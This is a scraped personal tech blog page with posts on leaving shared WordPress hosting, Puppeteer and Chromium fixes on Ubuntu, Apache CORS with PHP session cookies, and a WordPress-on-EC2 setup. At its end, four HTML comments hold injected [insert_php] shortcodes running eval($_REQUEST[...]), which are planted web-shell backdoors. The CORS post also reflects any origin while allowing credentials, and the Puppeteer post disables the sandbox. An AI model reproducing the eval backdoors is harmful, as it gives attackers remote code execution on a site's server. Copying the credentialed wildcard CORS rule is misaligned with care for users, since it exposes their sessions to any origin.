Categories
Software Engineering Tutorial

I Moved My WordPress Blog Off Bluehost – Why Bots Love wp-login.php, and How a Static Mirror Helps

I Finally Moved This WordPress Blog Off Cheap Shared Hosting

I ran this blog on Bluehost-style shared hosting for years. It worked. It was also kind of a pain. In October 2026 I moved it to a server I already pay for, and I want to write down the practical stuff I actually ran into, not a sales pitch for a host.

This is a guide to the parts a lot of “just copy WordPress” posts skip:

  • Why bots will not stop poking WordPress, even on a small personal blog
  • How to move the site without breaking HTTPS or email
  • Why a few dozen posts turn into hundreds of archive and feed URLs
  • How to keep WordPress itself private and still serve the same URLs from a static copy and a CDN
  • How I post now with wp-cli and an AI agent, as a draft I still review

If you have a WordPress blog on cheap shared hosting and you have been meaning to leave, this is the post I wish I had.

Why Did I Leave Shared Hosting?

Shared hosting is fine until you want more control. I wanted SSH that I actually own, a normal wp-cli workflow, and the option to take WordPress off the public internet later.

There is also a security reason that is not hype. WordPress’s own hardening guide is pretty direct about shared servers: if another site on the same machine gets compromised, yours can too. You do not control the neighbors. On a server I run, I at least control the software, the firewall, and what is allowed to face the world.

And honestly, I was already paying for the server. Keeping Bluehost just to hold this blog started to feel silly.

Why Do Bots Keep Hitting wp-login.php?

Because WordPress is everywhere, and the login form always lives at the same path. wp-login.php is not a secret. /wp-admin/ just sends you there. Bots do not need to “find” your blog in a clever way. They try the same URLs on every hostname they can get their hands on.

WordPress.org documents this in Brute Force Attacks. The usual targets are:

  • wp-login.php, password guessing
  • xmlrpc.php, especially if you leave XML-RPC on when you do not need it (Jetpack and the official mobile app are reasons you might still need it)
  • /wp-json/, the REST API
  • old plugin and theme file paths, in case you are running something outdated

The docs also say that hiding the login URL can cut down noise, but it should not be your only defense. I agree. A bot that already has a list of WordPress paths does not care what you renamed the login page to if xmlrpc.php is still sitting there.

WordPress.org Brute Force Attacks documentation, listing key defenses for login and XML-RPC

This is not theoretical for me. I looked at one day of access logs from the old shared host, dated October 7, 2026. I counted request paths only, no visitor details. Out of 588 requests that day:

  • 198 hit xmlrpc.php (almost all of them POST)
  • 27 hit /wp-includes/
  • 11 hit /wp-content/plugins/
  • 8 hit /wp-json/
  • 7 hit /wp-admin/

That is about a third of the day’s traffic going to xmlrpc.php alone, on a quiet personal blog. I left wp-cron.php out of that list (83 POSTs) because WordPress often calls that itself.

Bar chart of WordPress paths from one day of shared hosting logs on October 7, 2026, with 198 requests to xmlrpc.php

So what can you realistically do?

  • Keep WordPress, themes, and plugins updated. Official updates exist for a reason.
  • Use a strong, unique password, and turn on two-factor authentication for admin accounts. WordPress core does not include 2FA, so that is a plugin or your identity provider, which is also what the brute force guide says.
  • If you do not need XML-RPC, disable it. If you do, rate-limit it.
  • Rate-limit wp-login.php at the server or at a WAF, if you still have to expose it.

All of that helps. The more complete answer, if your public site is basically a blog, is: stop exposing live WordPress to the public internet at all. Serve a static copy at the same URLs, and keep the real WordPress install private. I will get to that.

How Do I Actually Move the Site?

Here is the short version of what I did. I am leaving out hostnames, IPs, usernames, and database names on purpose.

  1. Take a real backup, not just “I have some posts in my email.” I copied the WordPress files, dumped the database, and also ran wp export for a portable copy of the content.
  2. Restore it on the new server with a new database and a new database user. Change the password. If you use wp-cli, wp config shuffle-salts is a good idea so the old cookies and keys are useless.
  3. Turn off host-specific plugins. Shared hosts love to drop in their own plugin and a must-use page cache. Those will not help you on the new machine, and they can get in the way.
  4. Test before you touch public DNS. A hosts-file override or a temporary hostname is enough to click through the site, log in, and look for broken media or weird permalinks.
  5. Put HTTPS on the new server, then cut DNS over. Email is its own step, below.

wp-cli is the right tool for a lot of this. The official site is wp-cli.org.

The official WP-CLI website, describing the command line interface for WordPress

Example wp-cli commands for exporting a site, flushing rewrites, and creating a draft post

After the files and database are in place I run wp rewrite flush and wp cache flush. If the test URL is different from the real domain, wp search-replace is how you retarget the stored URLs. Do a --dry-run first.

What About HTTPS?

On shared hosting, HTTPS is usually a checkbox. On your own server, you get to do it yourself, which is less scary than it sounds.

Let’s Encrypt issues free certificates through an automated API. They recommend running an ACME client, and for most people that client is Certbot.

Let's Encrypt getting started page, explaining ACME clients and Certbot

The official Certbot website from the Electronic Frontier Foundation

The usual path with Apache looks like this:

sudo certbot --apache

If your DNS already points at the new server, Certbot can prove you control the domain with an HTTP challenge and install the certificate. If you need the certificate before the cutover, use a DNS challenge instead.

Then turn on auto-renewal (Certbot usually installs a timer or a cron job when you install it the recommended way) and test it:

sudo certbot renew --dry-run

I actually do that dry run. Certificates expire. A blog that randomly becomes “your connection is not private” is a bad time.

How Do I Cut Over DNS Without Breaking Email?

This is the one that makes people nervous, and it should. Your domain is not one record. The website is usually an A record (and an AAAA record if you have IPv6), plus maybe a CNAME for www. Email is a completely different set of records: MX, and often TXT records for SPF, DKIM, and DMARC.

I only changed the web records. I left the MX and mail-related TXT records alone.

Diagram of a DNS cutover: change A and AAAA records for the website, leave MX and mail TXT records alone

A few habits that helped:

  • Lower the TTL on the A and AAAA records a day or two before the move, so the change does not linger for 24 hours.
  • Flip those records to the new server, wait, and then confirm the site is serving from the new place over HTTPS.
  • Send yourself a test email, to and from the domain, before you celebrate.
  • Read the MX records once with fresh eyes. A typo in an MX hostname can sit there quietly and drop mail, and it has nothing to do with the website.

Do not let a “migrate my WordPress site” checklist talk you into replacing the whole DNS zone.

Why Does WordPress Make Hundreds of Pages From 43 Posts?

This one surprised me, and I have been using WordPress for a long time.

When I inventoried this blog during the move, I had 43 published posts. WordPress had turned those into about 509 HTML pages and about 900 URLs in total, including 384 feeds and 5 sitemaps. The URLs were clean permalinks. The only query-string URLs were search (?s=).

Diagram showing how 43 published posts became about 509 HTML pages, 384 feeds, and about 900 URLs

The 43 posts are just the articles. WordPress also builds:

  • Category archives, and extra pages when a category has more than one page of posts
  • Tag archives (I have a lot of tags, so this is a big one)
  • Date archives, by year and by month
  • An author archive
  • Attachment pages for images
  • The home page, pagination, and a few utility pages

And then it hangs a feed off almost all of that. The official WordPress Feeds docs describe the built-in ones: RSS 2.0, RSS 0.92, RDF/RSS 1.0, Atom, a site-wide comments feed, and a comments feed on each post. Categories, tags, and authors get feeds too. Date archives get them as well.

If you have a lot of tags, the feed count gets silly in a hurry. That is how you end up with hundreds of feeds on a blog that does not feel “big.”

WordPress.org Feeds documentation describing the built-in RSS and Atom feed types

If you move off WordPress later, or you publish a static copy, this is the list you have to keep if you care about old URLs. Search engines and old links do not only point at /hello-world/.

Which Feeds Actually Matter for SEO?

Most of them do not.

Google Search Central is pretty clear about the split. An XML sitemap is for the whole set of URLs on the site. An RSS or Atom feed is for recent changes. They recommend using both. They also say that submitting a sitemap or a feed does not guarantee indexing.

Google Search Central blog post on best practices for XML sitemaps and RSS or Atom feeds

Their later sitemap documentation says the same thing in a shorter way: if your CMS already makes an RSS or Atom feed, you can submit that feed as a sitemap, but it will only cover recent URLs. The XML sitemap is still how you show Google the full site.

Google Search Central documentation on building and submitting a sitemap

So, in practice:

  • Keep a real XML sitemap, and mention it in robots.txt.
  • Keep the main site feed at /feed/ (Atom at /feed/atom/ is fine too). That is the useful “something new was published” signal.
  • You do not need a feed for every tag, category, author, month, and post comments thread in order to rank. Those exist because WordPress generates them, not because Google asked for 384 of them.

I still keep those extra feed URLs working, so I do not create a pile of 404s. I just do not treat them as SEO work.

How Do I Keep WordPress Private and Still Serve the Blog?

This is the setup I wanted once the site was on a server I control.

WordPress stays the source of truth. I write and edit there. The public site is a static mirror: a generated copy of every public URL, served from a CDN, with the same paths as before. /some-post/ is still /some-post/. /tag/php/ is still /tag/php/. /feed/ is still /feed/.

What the public copy does not include is the live WordPress runtime. No wp-login.php, no xmlrpc.php, no /wp-json/, no plugin PHP. A bot that requests those on the public hostname gets a static 404 (or whatever you choose to serve), not a login form and not a REST API index.

Diagram of a private WordPress install with a public static copy served from a CDN at the same URLs

The build is straightforward in spirit:

  1. Collect every public URL you care about (sitemaps, post and page permalinks, archives, feeds).
  2. Fetch those URLs and write static files, including index.html for slash URLs.
  3. Copy static assets (uploads, CSS, JS, fonts). Do not copy PHP, wp-config.php, or anything in wp-admin.
  4. Publish that tree to object storage or a CDN, at the same URL paths.
  5. Rebuild when a post changes.

I tested this on a preview hostname first and compared pages against live WordPress: status codes, titles, images, feeds, and sitemaps. I also made sure search-shaped URLs (?s=) and the WordPress endpoints were not required for the public site to make sense. I do not need comments on this blog, which makes the static copy a lot simpler.

This is also the first setup that actually answers the bot question. Rate limits help when WordPress is public. If WordPress is not public, the bots are just requesting files that are not there.

What Does This Actually Cost?

I did not move for a giant refund. I moved because I already pay for a server that hosts other projects, and I wanted WordPress off cheap shared hosting. Still, the prices are worth putting next to each other, because the “cheap” shared plan is not always the cheap option once it renews.

These are published list prices I checked in November 2026. They can change, they usually exclude tax, and they are not my actual bills. I am not going to invent a traffic number for this blog and pretend it is a receipt. Where I do the math on a small blog, I will label it as an example.

Cost comparison as of November 2026 for Bluehost Shared Starter, AWS Lightsail, EC2 t3.micro, an existing server, and a static S3 plus CloudFront mirror

Here is the same comparison in plain text, so it still works if the image does not load.

  • Bluehost Shared Starter: $3.99/mo intro on a 36-month term, then $9.99/mo at 36-month renewal. The plan they list for a simple website or blog. VAT and GST are not included.
  • AWS Lightsail, Linux, with a public IPv4 address: $5/mo for the smallest bundle, with 0.5 GB memory, 2 vCPUs, 20 GB SSD, 1 TB transfer, and a static IP in the bundle.
  • Amazon EC2 t3.micro, Linux, US East (N. Virginia): $0.0104 per hour, about $7.59 if it runs 730 hours in a month. Compute only. Disk is extra, and an in-use public IPv4 address is $0.005 per hour.
  • A server you already pay for: no new server bill for the blog itself. This is my situation. The blog shares a machine I already use for other work.
  • Static mirror (S3, CloudFront, Route 53, Let’s Encrypt): about $0.50/mo in a small-blog example, or less. Storage and DNS are cheap at this size. Transfer often fits in CloudFront’s always-free allowance. Certificates are free.

Shared hosting. On the official Bluehost pricing page, Shared Starter is listed at $3.99 per month as an introductory rate “for 36 month term,” and the same card says it renews at $9.99 per month. That is the plan they describe as “made for a simple website or blog.” Business is $6.99 intro and $13.99 at renewal, on the same 36-month term. Those cards also say VAT and GST are not included. Bluehost has a separate renewal price FAQ (last updated February 11, 2026) with other renewal terms, including $15.99 per month if you renew Starter month to month, and $11.99 per month on a 12-month renewal. The number that matters for a long stay is the renewal price, not the intro teaser.

A self-managed server. If you are starting from zero and you just want a small Linux box, Amazon Lightsail is the straightforward published price. The smallest Linux/Unix bundle with a public IPv4 address is $5 per month, and it includes 0.5 GB of memory, 2 vCPUs, 20 GB of SSD, and 1 TB of transfer. The next size up is $7 per month with 1 GB of memory. There is also an IPv6-only bundle that starts at $3.50 per month if you do not need IPv4.

Amazon Lightsail pricing page showing Linux bundles with a public IPv4 address, starting at 5 US dollars per month

Amazon EC2 is more of an a la carte bill. A t3.micro on Linux in US East (N. Virginia) is $0.0104 per hour. If it runs all month, that is about $7.59 (I multiplied the published hourly rate by 730 hours). A t3.small is $0.0209 per hour, or about $15.26 the same way. That is only the instance. You also pay for disk, and AWS bills $0.005 per hour for an in-use public IPv4 address on the Amazon VPC pricing page, which is about $3.65 a month if you keep one attached. Lightsail’s $5 bundle is usually easier to reason about than stacking those EC2 line items.

In my case I did not buy a new box just for this blog. I already pay for a server that hosts other projects, so the extra cost of putting WordPress on it is basically the time to set it up, not a second VPS invoice.

The static mirror. This is the cheap one at small scale, as long as you stay honest about the math.

  • Amazon S3 Standard storage in US East (N. Virginia) is $0.023 per GB-month for the first 50 TB. PUT, COPY, POST, or LIST requests are $0.005 per 1,000. GET and other requests are $0.004 per 10,000. Data transferred from S3 to CloudFront is not charged as S3 data transfer out.
  • Amazon CloudFront still publishes an always-free allowance of 1 TB of data transfer out and 10 million HTTP or HTTPS requests per month on the AWS Free Tier networking page. CloudFront also has a $0 per month Free flat-rate plan that includes 1 million requests, 100 GB of transfer, 5 GB of S3 storage credits, and Route 53 DNS, with no overage charges, though it is a different product from the always-free pay-as-you-go allowance.
  • Amazon Route 53 is $0.50 per hosted zone per month for the first 25 hosted zones. Standard queries are $0.40 per million. Alias records pointed at CloudFront do not add a query charge.
  • Let’s Encrypt certificates are free.

AWS Free Tier networking page listing CloudFront always-free allowances of 1 TB of data transfer out and 10 million HTTP or HTTPS requests

A labeled example, not a bill: say a small blog stores 1 GB in S3 and, in a month, serves 20 GB and 50,000 requests through CloudFront. The storage would be about $0.023. The transfer and requests would fit inside CloudFront’s always-free allowance. The Route 53 hosted zone would be $0.50, unless you already pay for that zone or you use the $0 CloudFront flat-rate plan that includes DNS. Let’s Encrypt is $0. The example total is about $0.52 a month, or close to $0.02 if the hosted zone is already on the account. That is an illustration for a quiet site. A huge traffic spike, a lot of images, or a region with different rates would change it.

The useful comparison, for me, is this. After the intro period, a Bluehost Starter plan is $9.99 a month on the 36-month renewal. A small Lightsail box is $5 a month if you need a new server. If you already have a server, the blog may add nothing to that bill. And once the public site is a static copy, S3 plus CloudFront plus DNS can sit well under a dollar a month at small-blog size, with a free certificate.

How Do I Post With wp-cli and an AI Agent?

Once WordPress is just software on a server, you do not have to click through wp-admin to publish. WP-CLI can create posts, set categories and tags, attach a featured image, and leave the thing as a draft.

That is what I have an AI agent do. It writes the draft with wp post create --post_status=draft. I review it. If it looks good, it goes live, and then the static mirror gets rebuilt so the public URLs update.

I will not auto-publish a post I have not read. Drafts exist for a reason. But I also will not go back to FTPing a theme file and pasting HTML into the block editor at midnight if I can type “write a draft about X” and then actually edit it.

The nice loop looks like this:

  1. AI agent creates a draft through wp-cli
  2. I review it on the private WordPress install
  3. The post is published
  4. The static mirror rebuilds
  5. The CDN serves the new page at the same old URL

That is the whole point of moving off shared hosting, for me. Not a slightly faster TTFB. A workflow I can run with tools I already use, without leaving a WordPress login form on the public internet all day.

Did You Really Not Click the Link Yet?

If you only open one official page, make it Hardening WordPress. Then read the brute force page, grab a certificate from Let’s Encrypt with Certbot, and bookmark WP-CLI. Google’s notes on sitemaps and RSS or Atom feeds are worth a pass too.

And if you have been putting off leaving shared hosting, start with a backup and a test restore. The DNS flip is the scary five minutes. The rest is just being careful with MX records and not exposing more WordPress than you need to.

Categories
Software Engineering Tutorial

Ubuntu + NodeJS + Puppeteer + Chromium (+ PHP 8.2): The Fixes You Need

Ubuntu + NodeJS + Puppeteer + Chromium Is Hard to Work With

I’m gonna make this as quick as possible because this is likely your 10th article on this.

The particulars of my setup, including using PHP to trigger a NodeJS command as the www-data user from apache2, probably don’t apply to you. That is OK. Most of these fixes having nothing to do with PHP but only occurred because of how PHP runs as a very limited user.

Situation

I wanted NodeJS puppeteer running a headless chromium-browser on an Ubuntu server on AWS EC2 (or any cloud) running a normal Ubuntu AMI but I was triggering the NodeJS script that executed puppeteer via PHP calling to the system so everything was running as the restricted apache2 user “www-data”.

That’s a lot of tech stack.

It Worked Before

My previous server image and server template were Ubuntu 20.x. Once upgrading to Ubuntu 22.x everything broke. It turns out its not just Ubuntu 22 but a lot of potential issues.

Fixes & Tips

Forget my situation we’re here to fix your problem.

Node Verison – Puppeteer Need At Least Node 18

You need at least node 18 to run puppeteer. You can check your current node version via `node -v`

Are You Using nvm?

You may be using nvm to manage your node versions, like many many people.

This can make your situation confusing. Because nvm is per user.

If your user trying to run puppeteer + chromium-browser has nvm you need to make sure nvm is using at least Node 18.

When nvm installs a new version of NodeJS for a user it doesn’t set that version to the default version. You have to do that manually. Here is a command which will do that & insure that every time that user tries to execute a NodeJS script it uses the version of NodeJS you want.

nvm alias default 18

Restricted Users, like www-data, Cannot Have nvm

Restricted users cannot have nvm. So how do they manage NodeJS versions?

Restricted users like www-data use the global node version. This is the version of node installed on the server for all users, similar to other packages you install via apt-get install.

You need to make sure this version of node is fully upgraded to Node 18 or greater as well.

npm install

You probably ran npm install in your project directory. It installed puppeteer and puppeteer installed a version of chromium-browser.

Things have now officially become a mess. Welcome to package hell.

Errors

Can’t Find Chromium

Error: Could not find Chrome (ver. 119.0.6045.105). This can occur if either 1. you did not perform an installation before running the script (e.g. `npm install`) or 2. your cache path is incorrectly configured (which is: /var/www/.cache/puppeteer). For (2), check out our guide on configuring puppeteer at https://pptr.dev/guides/configuration.

This was happening to me.

I tried to solve the issue by hardcoding my “executablePath” in the puppeteer.launch call. That made my situation worse: everything would hang and timeout without errors when I manually supplied the correct executablePath. Do not hardcode “executablePath”: ‘/usr/bin/chromium-browser’ in your puppeteer.launch config.

Fix:
You want to be running the set of packages you installed from your package.json and not any other versions. Duh, right? Well, that means you need to make sure you know where they are.

When you execute this NodeJS script from some other process you probably forgot to change directories as part of your system call. Even if you specified the full path to the script that actual process, running as the restricted user you may not actually be in the right place. If that’s the case… it will try to use the global install of puppeteer. If that exists it will try to find Chromium in some weird place and it never will. Check where you are and where NodeJS thinks it’s getting the packages from:

pwd; npm root;

Whoops! You’re not in the right place! But look what we just did: we combined shell commands with that semicolon. Do the exact same thing in your system calls before invoking your NodeJS script as your restricted user then it will look in the right place.

cd /path/to/project; node index.js

That means you also probably want to remove any *global* versions of puppeteer you think you installed. Why? Because it’s very likely your restricted user may run the global version. The global package will run and suddenly your project will return an error on puppeteer.launch that it can’t find Chromium because it’s looking in some weird place. Perhaps you had installed it previously, who knows, ditch the global version if you can.

npm -g uninstall puppeteer

Remember, the /var/www/ is PHP specific, that may not apply to you.

Ubuntu Snap Issue

user.slice/user-1000.slice/session-270.scope is not a snap cgroup
system.slice/apache2.service is not a snap cgroup

This is happening to thousands of people. Why? Ubuntu 22. It shipped with a new type of package management called Snap which lets packages download as the complete packages rather than piling up dependencies. It also locks them off a little bit more. You don’t need to know or care about it right now because NO MATTER WHAT YOU DO YOU CANNOT FIX SNAP.

Why? Because this article is about me running on AWS EC2 or any other cloud hosting. You don’t have kernel access like this on the Ubuntu AMI! You can’t fix this even with a boot script. Don’t bother with DBUS_SESSION_BUS_ADDRESS and don’t bother with systemd.unified_cgroup_hierarchy=0 and don’t bother with any of it that’s for the schlubs running Ubuntu on desktop or neckbeards with kernel access.

Fix:
I’m very sorry but your only option will be to download the Debian version of chromium-browser from some random person’s package repository. This person is allegedly an engineer at Cisco and it’s all public and on the up-and-up but there’s any other way around it. By installing the deb version of chromium-browser it will let you use headless chromium-browser without snap or snap cgroups.

sudo apt remove chromium-browser
sudo snap remove chromium
sudo add-apt-repository ppa:saiarcot895/chromium-beta
sudo apt update
sudo apt install chromium-browser

Other Fixes for Random Errors

Those errors above are so gnarly down the rabbit hole I had to write this entire blog post. The rest of the errors are a cake walk.

Permissions: Add args To puppeteer.launch

You forgot the args for puppeteer.launch

const browser = await puppeteer.launch({
                "headless": "true",
                args: ["--no-sandbox", "--disabled-setupid-sandbox"],
            });

More Permissions

You may need to explicitly set the cacheDirectory on puppeteer.launch. You need to figure this location out yourself and make sure any restricted users have permissions to get at it.

const browser = await puppeteer.launch({
                "headless": "true",
                "cacheDirectory": "/path/to/my/.cache/puppeteer",
                args: ["--no-sandbox", "--disabled-setupid-sandbox"],
            });

I Just Saved Your Project.

You owe me a follow on Twitter: @kickiniteasy

Categories
Software Engineering

Apache + Ubuntu + CORS + Multiple Subdomains + PHP Session Cookies + XHR Credentials

Overview:

I recently had to do a little hunting around for an issue related to everything you see in the title.

It was frustrating because I wanted to allow * domains to be able to send requests and the Stack Overflow comments are mostly about IIS servers or the ones with Apache directives as examples don’t seem to work or don’t handle full wildcard.

I should mention that allowing full wildcard Access-Control-Allow-Origin with XHR credentials enabled can be a security risk.

Here’s how to get a CORS request working with Ubuntu Apache and PHP across multiple subdomains and have the PHP session ID cookie send correctly on every request and how to handle some of the errors you may encounter.

Situation:

I was making an AJAX request from one subdomain (https://subdomain1.example.com) to a different subdomain on the same root domain (https://subdomain2.example.com).

I had already called a PHP session_start(); for the user on a page on the subdomain I was making the request to. This means the user has an active PHP $_SESSION on https://subdomain2.example.com.

I had set the PHP $_SESSION to use cookies at the root domain.

I had Header set Access-Control-Allow-Origin "*" in my .htaccess file.

I was using the following setup for calling session_start() on top of the PHP defaults. Be careful setting cookies at your root domain, they will be sent along with *all* futures requests to *all* subdomains:

ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.cookie_domain', '.example.com');
session_set_cookie_params(0, '/', '.example.com');
session_name('example_session');
session_start();


Expected:

When making an AJAX CORS request the cookies, (and therefore the PHP $_SESSION session_id() being passed as a cookie) the should be sent along correctly with the HTTP request.

Actual:

All cookies, including the PHP $_SESSION session_id(), are not being passed along as part of the request.


Errors:

You may see this situation manifest as number of errors in your Javascript Developer Console.


Error:  The 'Access-Control-Allow-Origin' header contains multiple values , but only one is allowed.

Reason: You are trying to set more than 1 value for Access-Control-Allow-Origin

Solution: Use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request is. (If you would like to use wildcard domains please see the solution further down the page for wildcards.)

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\.example\.com(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The 'Access-Control-Allow-Origin' header has a value that is not equal to the supplied origin.

Reason: You are already setting a Access-Control-Allow-Origin or you are setting it incorrectly. You may be making multiple Header set Access-Control-Allow-Origin statements (because there can only be one domain set the last one overwrites any previous set commands.)

Solution: Use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request is. (If you would like to use wildcard domains please see the solution further down the page for wildcards.)

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\.example\.com(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Reason: You are trying to set "*" for your Access-Control-Allow-Origin but when you are using credentials you can only set it to 1 specific subdomain.

Solution: If you want to use a full wildcard style entry to accept requests from any origin and let them send in cookies then use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request origin is. The first SetEnv handles the root domain wildcard and the second SetEnv handles the wildcard subdomains.

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\..+(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1
SetEnvIf Origin ^(https?://.+\..+\..+(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Reason: You are trying to send along the cookies as part of the AJAX request but your server is not current accepting the incoming cookies from the origin domain using Access-Control-Allow-Credentials

Solution: Use an Apache statement in your .htaccess file to always accept incoming credentials (aka cookies)

Code:

<IfModule mod_headers.c>
Header always set Access-Control-Allow-Credentials true
</IfModule mod_headers.c>


Error:  The PHP $_SESSION cookie is not being passed correctly to the server. It is not available in $_COOKIE and new calls to session_start() create a session with a new ID.

Reason: You are not correctly sending along the cookies with the AJAX request.

Solution: Use jquery AJAX and set the xhrFields to have withCredentials set to true

Code:

$.ajax({
xhrFields: {
withCredentials: true
}
});

First Post! Server Is Live On EC2 with WordPress…

Hello World, EC2, and WordPress

Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.

Create an Instance, Have a Key

I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.

Confusing Code

This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.

#packages
sudo apt-get install lamp-server^
sudo apt-get install apache2-utils
sudo apt-get install php5-geoip
sudo apt-get install php5-intl
sudo apt-get install php5-curl

#apache
a2enmod expires
a2enmod deflate
a2enmod rewrite

#wordpress
wget http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz -C /var/www/html/

Setup for EC2 and WordPress details

As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.

Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?

htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername

WordPress .htaccess file

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch "wp-login">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Login"
Require valid-user
</FilesMatch>

<FilesMatch "wp-admin">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Admin"
Require valid-user
</FilesMatch>

Done? Done. DONE. Wait…

I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.

<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>